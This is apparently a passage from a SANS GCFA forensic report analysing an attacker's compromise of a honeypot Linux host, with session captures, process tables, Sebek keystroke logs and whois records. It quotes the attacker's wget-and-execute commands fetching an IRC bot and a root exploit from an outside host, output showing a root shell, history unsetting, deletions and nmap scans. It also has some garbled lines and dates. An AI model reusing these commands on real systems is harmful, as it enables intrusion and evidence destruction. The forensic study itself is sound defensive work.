-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
-rwxrwxrwt 1 root root 13417 Jun 20 10:17 .fontcache
-rwxrwxrwt 1 root root  890 Jun 20 04:14 .fontcache
```

Kevin Miller - Sans GCFA Assignment – v1.4

```
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$
readline: warning: rl_prep_terminal: cannot
wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf bot.tgz;cd .X11-pipe;chmod +x
inetd/services;inetd/services;
get terminal settingsbash-2.05a" --15:31:46-- http://XXX.XXX.XXX.com/eladoht/bot.tgz
=> 'bot.tgz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 404 Not Found
tar (child): bot.tgz: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error exit delayed from previous errors
bash: [19893: 1] tcsetattr: Invalid argument
bash: cd: .X11-pipe: No such file or directory
chmod: getting attributes of `inetd/services': No such file or directory
bash: inetd/services: No such file or directory
wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf bot.tgz;cd .X11-pipe;chmod +x
inetd/services;inetd/services;
inetd/services;
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$
--15:32:45-- http://XXX.XXX.XXX.com/eladoht/bot.tgz
=> 'bot.tgz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 764,880 [application/x-tar]
15:32:50 (179.21 KB/s) - 'bot.tgz' saved [764880/764880]
.X11-pipe/
.X11-pipe/COPYING
.X11-pipe/README
.X11-pipe/TODD
.X11-pipe/VERSIONS
.X11-pipe/Makefile
.X11-pipe/configure
.X11-pipe/mech.pid
.X11-pipe/lpd.help
.X11-pipe/randfiles/
.X11-pipe/randfiles/randaway.e
.X11-pipe/randfiles/randinsult.e
.X11-pipe/randfiles/randkicks.e
.X11-pipe/randfiles/randnicks.e
.X11-pipe/randfiles/randpickup.e
.X11-pipe/randfiles/randsay.e
.X11-pipe/randfiles/randsignoff.e
.X11-pipe/randfiles/randversions.e
.X11-pipe/src/
.X11-pipe/src/Makefile.in
.X11-pipe/src/cfgfile.c
.X11-pipe/src/channel.c
.X11-pipe/src/com-0ns.c
.X11-pipe/src/combot.c
.X11-pipe/src/commands.c
.X11-pipe/src/config.h.in
.X11-pipe/src/dcc.c
.X11-pipe/src/debug.c
.X11-pipe/src/defines.h
.X11-pipe/src/function.c
.X11-pipe/src/global.h
```
Kevin Miller - Sans GCFA Assignment – v1.4

bash: [19893: 1] tcsetattr: Invalid argument

```
ps ax
readline: warning: rl_prep_terminal: cannot get terminal settings
```

<table>
<thead>
<tr>
<th>STAT</th>
<th>TIME</th>
<th>COMMAND</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 ?</td>
<td>0:04</td>
<td>init</td>
</tr>
<tr>
<td>2 ?</td>
<td>0:00</td>
<td>[keventd]</td>
</tr>
<tr>
<td>3 ?</td>
<td>0:00</td>
<td>[kswapd]</td>
</tr>
<tr>
<td>4 ?</td>
<td>0:00</td>
<td>[kuserannot]</td>
</tr>
<tr>
<td>5 ?</td>
<td>0:02</td>
<td>[kuserannot]</td>
</tr>
<tr>
<td>6 ?</td>
<td>0:00</td>
<td>[bdflush]</td>
</tr>
<tr>
<td>7 ?</td>
<td>0:00</td>
<td>[kupdaterd]</td>
</tr>
<tr>
<td>8 ?</td>
<td>0:00</td>
<td>[mdrecoveryd]</td>
</tr>
<tr>
<td>12 ?</td>
<td>0:00</td>
<td>[kjournald]</td>
</tr>
<tr>
<td>91 ?</td>
<td>0:00</td>
<td>[khubd]</td>
</tr>
<tr>
<td>186 ?</td>
<td>0:00</td>
<td>[kjournald]</td>
</tr>
<tr>
<td>187 ?</td>
<td>0:00</td>
<td>[kjournald]</td>
</tr>
<tr>
<td>188 ?</td>
<td>0:00</td>
<td>[kjournald]</td>
</tr>
<tr>
<td>189 ?</td>
<td>0:00</td>
<td>[kjournald]</td>
</tr>
<tr>
<td>657 ?</td>
<td>0:00</td>
<td>[rcp.statd]</td>
</tr>
<tr>
<td>770 ?</td>
<td>0:00</td>
<td>[usr/sbin/apmd -p 10 -w 5 -w -P /etc/sysconfig/apm-sc]</td>
</tr>
<tr>
<td>790 ?</td>
<td>0:01</td>
<td>[ntpd -U ntp -g]</td>
</tr>
<tr>
<td>842 ?</td>
<td>0:01</td>
<td>[usr/sbin/sshd]</td>
</tr>
<tr>
<td>875 ?</td>
<td>0:00</td>
<td>[xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid]</td>
</tr>
<tr>
<td>916 ?</td>
<td>0:00</td>
<td>[sendmail: accepting connections]</td>
</tr>
<tr>
<td>935 ?</td>
<td>0:00</td>
<td>[gpm ~t ps/2 ~m /dev/mouse]</td>
</tr>
<tr>
<td>953 ?</td>
<td>0:00</td>
<td>[cron]</td>
</tr>
<tr>
<td>1005</td>
<td>0:03</td>
<td>[xfs -droppriv -daemon]</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, Author retains full rights.
<table>
<thead>
<tr>
<th>PID</th>
<th>State</th>
<th>Time</th>
<th>User</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>1041</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/atd</td>
<td></td>
</tr>
<tr>
<td>1050</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty1</td>
<td></td>
</tr>
<tr>
<td>1051</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty2</td>
<td></td>
</tr>
<tr>
<td>1052</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty3</td>
<td></td>
</tr>
<tr>
<td>1053</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty4</td>
<td></td>
</tr>
<tr>
<td>1054</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty5</td>
<td></td>
</tr>
<tr>
<td>1055</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty6</td>
<td></td>
</tr>
<tr>
<td>1056</td>
<td>S</td>
<td>0:00</td>
<td>/usr/bin/kdm -nodaemon</td>
<td></td>
</tr>
<tr>
<td>1066</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
<td></td>
</tr>
<tr>
<td>1067</td>
<td>S</td>
<td>0:00</td>
<td>-i0</td>
<td></td>
</tr>
<tr>
<td>1091</td>
<td>S</td>
<td>0:00</td>
<td>/bin/sh /usr/bin/startkde</td>
<td></td>
</tr>
<tr>
<td>1175</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: Running...</td>
<td></td>
</tr>
<tr>
<td>1178</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: dkopserver --nosid</td>
<td></td>
</tr>
<tr>
<td>1181</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: klauncher</td>
<td></td>
</tr>
<tr>
<td>1183</td>
<td>S</td>
<td>5:52</td>
<td>kdeinit: kded</td>
<td></td>
</tr>
<tr>
<td>1192</td>
<td>S</td>
<td>0:02</td>
<td>/usr/bin/artsd -F 10 -S 4096 -s 60 -m artsmessage -l</td>
<td></td>
</tr>
<tr>
<td>1203</td>
<td>S</td>
<td>0:02</td>
<td>kdeinit: knotify</td>
<td></td>
</tr>
<tr>
<td>1208</td>
<td>S</td>
<td>0:00</td>
<td>kwrapper kmsserver --restore</td>
<td></td>
</tr>
<tr>
<td>1210</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: ksmserver --restore</td>
<td></td>
</tr>
<tr>
<td>1211</td>
<td>S</td>
<td>0:09</td>
<td>kdeinit: kwrited</td>
<td></td>
</tr>
<tr>
<td>1217</td>
<td>S</td>
<td>0:18</td>
<td>kdeinit: kicker</td>
<td></td>
</tr>
<tr>
<td>1219</td>
<td>S</td>
<td>0:35</td>
<td>autorun -l --interval=1000 --cdplayer=/usr/bin/kscd</td>
<td></td>
</tr>
<tr>
<td>1220</td>
<td>S</td>
<td>0:51</td>
<td>kdeinit: klauncher -icon kclipper -miniicon kclipper</td>
<td></td>
</tr>
<tr>
<td>1222</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: kwrited</td>
<td></td>
</tr>
<tr>
<td>1228</td>
<td>S</td>
<td>0:00</td>
<td>korgac --miniicon korganizer</td>
<td></td>
</tr>
<tr>
<td>1230</td>
<td>S</td>
<td>0:00</td>
<td>kalarmd --login</td>
<td></td>
</tr>
<tr>
<td>1232</td>
<td>S</td>
<td>5:04</td>
<td>kdeinit: konsole -icon konsole -miniicon konsole</td>
<td></td>
</tr>
<tr>
<td>1234</td>
<td>S</td>
<td>0:00</td>
<td>/bin/bash</td>
<td></td>
</tr>
<tr>
<td>1266</td>
<td>S</td>
<td>0:00</td>
<td>su -</td>
<td></td>
</tr>
<tr>
<td>1269</td>
<td>S</td>
<td>0:00</td>
<td>-bash</td>
<td></td>
</tr>
<tr>
<td>1271</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: kcookiejar</td>
<td></td>
</tr>
<tr>
<td>1293</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: kscreensaver -d restore</td>
<td></td>
</tr>
<tr>
<td>1295</td>
<td>S</td>
<td>0:00</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>1300</td>
<td>S</td>
<td>0:00</td>
<td>/usr/bourne-again/sh</td>
<td></td>
</tr>
<tr>
<td>1301</td>
<td>S</td>
<td>0:00</td>
<td>/usr/bin/bash</td>
<td></td>
</tr>
<tr>
<td>1302</td>
<td>S</td>
<td>0:00</td>
<td>su</td>
<td></td>
</tr>
<tr>
<td>1303</td>
<td>S</td>
<td>0:00</td>
<td>/bin/bash</td>
<td></td>
</tr>
<tr>
<td>1304</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1305</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1306</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1307</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1308</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1309</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1310</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1311</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1312</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1313</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1314</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1315</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1316</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1317</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1318</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1319</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1320</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1321</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1322</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1323</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1324</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1325</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1326</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1327</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1328</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1329</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1330</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1331</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1332</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1333</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1334</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1335</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1336</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1337</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1338</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1339</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1340</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1341</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1342</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1343</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1344</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1345</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1346</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1347</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1348</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1349</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1350</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1351</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1352</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1353</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1354</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
<td></td>
</tr>
<tr>
<td>1355</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE AUT</td>
<td></td>
</tr>
</tbody>
</table>
Below are a summary of the session and the files downloaded. The file ‘r’ was repeatedly downloaded, used to elevate privileges to root, and removed.

<table>
<thead>
<tr>
<th>Time</th>
<th>Date</th>
<th>Shell</th>
<th>Commands</th>
</tr>
</thead>
<tbody>
<tr>
<td>19:51:46</td>
<td>21/10/1971</td>
<td>bash</td>
<td>unset HISTFILES</td>
</tr>
</tbody>
</table>

The IRC bot connections began at 15:22:51 the last incoming connection occurred at 16:52:24. The IRC channel that the victim machine participated in was Stockholm.SE.eu.Undernet.org.

Sebek output provided keystroke evidence of actions taken. Sebek output and the output logging from the rootkit install provided information on changes to configurations files to examine further.
Kevin Miller - Sans GCFA Assignment – v1.4  Page 189

<table>
<thead>
<tr>
<th>Time</th>
<th>Command</th>
<th>File</th>
<th>Directory</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>15:42:31</td>
<td>cd /tmp</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:42:55</td>
<td>ls -al</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:42:57</td>
<td>m - dir -al</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:43:02</td>
<td>rm -rf .</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:43:07</td>
<td>killall ./sys XXX.XXX.65.171</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:43:20</td>
<td>mc</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:43:24</td>
<td>ps ax</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:43:27</td>
<td>killall -9 cp chmod</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:43:37</td>
<td>ps ax</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:43:43</td>
<td>kill -9 19504 19508</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:43:58</td>
<td>pa ps ax</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:45:17</td>
<td>cd /bin</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:45:21</td>
<td>mkdir .EhT</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:45:28</td>
<td>wget XXX.XXX.com/eladoht/samba.tgz</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:45:31</td>
<td>dir -a cd .font/unix</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:45:39</td>
<td>wget XXX.XXX.com/eladoht/samba.tgz</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:46:01</td>
<td>tar -xvf .samba.tgz</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:46:12</td>
<td>cd /sys XXX.XXX.49.107</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:46:17</td>
<td>ifconfig</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:46:28</td>
<td>nmap XXX.XXX.5</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:48:50</td>
<td>ps ax</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:56:22</td>
<td>cd /tmp</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:56:24</td>
<td>nmap</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:56:53</td>
<td>nmap XXX.XXX.42.58</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:57:46</td>
<td>nmap .samba</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:58:34</td>
<td>whereis tcp.bg</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:58:53</td>
<td>netstat -a</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>15:59:19</td>
<td>netstat</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>16:00:04</td>
<td>nmap .sys XXX.XXX.49.137</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>16:02:29</td>
<td>nmap .sys XXX.XXX.49.137</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>16:13:51</td>
<td>nmap .sys XXX.XXX.61.126</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>16:20:26</td>
<td>[A]</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>16:30:59</td>
<td>[A]</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>16:32:42</td>
<td>[A]</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>16:34:31</td>
<td>nmap .sys XXX.XXX.53.4</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>16:35:27</td>
<td>nmap .sys XXX.XXX.61.126</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>16:35:45</td>
<td>.sys .sys XXX.XXX.61.126</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>16:36:44</td>
<td>[A]</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>16:38:02</td>
<td>.sys XXX.XXX.59.235</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>16:40:01</td>
<td>nmap .sys XXX.XXX.65.171</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>16:40:58</td>
<td>.sys XXX.XXX.65.171</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>16:47:42</td>
<td>[A]</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
<tr>
<td>16:52:08</td>
<td>nmap .sys XXX.XXX.84.19</td>
<td></td>
<td></td>
<td>29/06/2003</td>
</tr>
</tbody>
</table>
The sebek log events and the tcpdump output show the TCP port 18 connections originating from IP XXX.XXX.119.81. The samba.tar.gz file was retrieved during the port 18 connection.

A Whois lookup in ARIN pointed to the RIPE. A whois lookup using RIPE (www.ripe.net) showed the IP address belonging to XXXXXXXXX Network S.A. in Bucharest, Romania.

| inetnum: XXX.XXX.96.0 - XXX.XXX.127.255 |
| name: XXXXX |
| descr: XXXXXXX XXXXXX Network S.A. |
| descr: XXXXXXX XXXXX Network |
| country: RO |
| admin-c: BT17-RIPE |
| tech-c: PDNN1-RIPE |
| status: ASSIGNED PA |
| notify: XXXXX@XXXXXX.ro |
| mnt-by: AS8503-MNT |
| changed: XXXXXXXXXX.ro 20030704 |
| source: RIPE |
| route: XXX.XXX.116.0/22 |
| descr: PCNET |
| origin: AS8503 |
| notify: XXXXX@XXXXXX.ro |
| mnt-by: AS8503-MNT |
| changed: XXXXXXX@XXXXXX.ro 20020912 |
| source: RIPE |
| role: XXXXX XXXXX Network NOC |
| address: XXXXXXX XXXXX, nr. 10 |
| address: Bucharest, ROMANIA |
| phone: +XX 1 555 86 61 |
| phone: +XX 1 555 35 23 |
| fax-no: +XX 1 555 49 99 |
| e-mail: XXXXX@XXXXXX.ro |
| trouble: +XX X 555 18 84 |
admin-c: BT17-RIPE
tech-c: BT17-RIPE
tech-c: AP158-RIPE
tech-c: CM3059-RIPE
tech-c: CN19-RIPE
tech-c: IG20-RIPE
tech-c: CR60-RIPE
nic-hdl: PDNN1-RIPE
remarks: ---------
remarks: abuse: abuse@XXXXX.ro
remarks: ---------
remarks: for escalation please directly call the
remarks: technical manager
notify: XXXXX@XXXXX.ro
mnt-by: AS8503-MNT
changed: XXXXX@XXXXX.ro 20011008
source: RIPE
person: XXXXX XXXXX
remarks: Technical Manager
remarks: XXXXX XXXX Network S.A.
address: Bucharest, Romania
phone: +XX X 555 18 84
phone: +XX 1 555 86 61
phone: +XX 1 555 35 23
fax-no: +XX 1 555 49 99
nic-hdl: BT17-RIPE
mnt-by: BT17-RIPE-MNT
notify: XXXXX@pcnet.ro
e-mail: XXXXX@pcnet.ro
changed: XXXXX@pcnet.ro 20011009
source: RIPE
The program tcpflow was used to dump the session data. The XXX.XXX.108.65:35054 => 192.168.2.14:443 are the commands that were sent and 92.168.2.14:443 => XXX.XXX.108.65:35054 are the results from the commands. The section below shows the two sessions combined. The lines that are bolded and italicized are from XXX.XXX.108.65:35054=>192.168.2.14:443. The session started at 14:57:44 through to 15:29:41.

```
wget XXX.XXX.com/eladoht/stuff/r;chmod +x r;
```

```
bash-2.05a$ --15:09:12-- http://XXX.XXX.com/eladoht/stuff/r
 => `r'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]
0K .......... ......... 100% 76.87 KB/s
15:09:13 (76.87 KB/s) - `r' saved [19916/19916]
```

```
./r
bash-2.05a$ [+ ] Attached to 19506
[+ ] Signal caught
[+ ] Shellcode placed at 0x4000fd1d
[+ ] Now wait for suid shell...
```

```
su
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```

```
rm -rf r
is -al
```

```
